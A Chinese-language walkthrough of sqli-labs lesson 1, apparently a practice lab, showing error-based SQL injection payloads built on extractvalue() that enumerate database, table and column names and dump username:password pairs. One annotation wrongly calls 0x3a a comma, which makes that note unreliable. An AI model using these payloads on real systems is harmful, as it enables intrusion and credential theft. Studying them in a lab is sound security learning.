sqli-labs第一关--报错注入练习
# extractvalue 报错注入查询语句:
SQL注入模板:?id=正确值'and(select extractvalue(anything,concat('0x7e',(select语句))))--+
查数据库名:?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+
爆表名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+
爆字段名:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME")))) --+
爆数据:?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+
# 注:
与第一种方法不同的是:报错注入使用的 id = 正确值
函数解释:
extractvalue():从目标XML中返回包含所查询值的字符串。
EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
concat:返回结果为连接参数产生的字符串。
0x7e = ~ :加个波浪线,看着更加舒服。
# 检查一下报错注入点:
?id=1' and 1=1--+ //正确
?id=1' and 1=2--+ //失败
# 构造 payload 来获取数据库信息:
?id=1'and(select extractvalue(1,concat(0x7e,(select database())))) --+
# 构造 payload 来获取数据表
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database())))) --+
?id=1' and (select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))))--+ 通过当前指定的库查看表名
# 构造 payload 来获取数据库字段名:
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users")))) --+
# 回显了,但是并没有完全回显使用 not in:重新构造 payload
and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login')
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="users" and column_name not in ('user_id','first_name','last_name','user','avatar','last_login','failed_login') )))) --+
# 构造 payload 来获取数据库中的数据信息:
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME)))) --+
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users)))) --+
# 回显了,但是没有完全回显,使用 not in 重构 payload :
where username not in ('Dumb','I-kill-you')
?id=1'and(select extractvalue(1,concat(0x7e,(select group_concat(username,0x3a,password) from users where username not in ('Dumb','I-kill-you'))))) --+
# 注:
0x3a = ,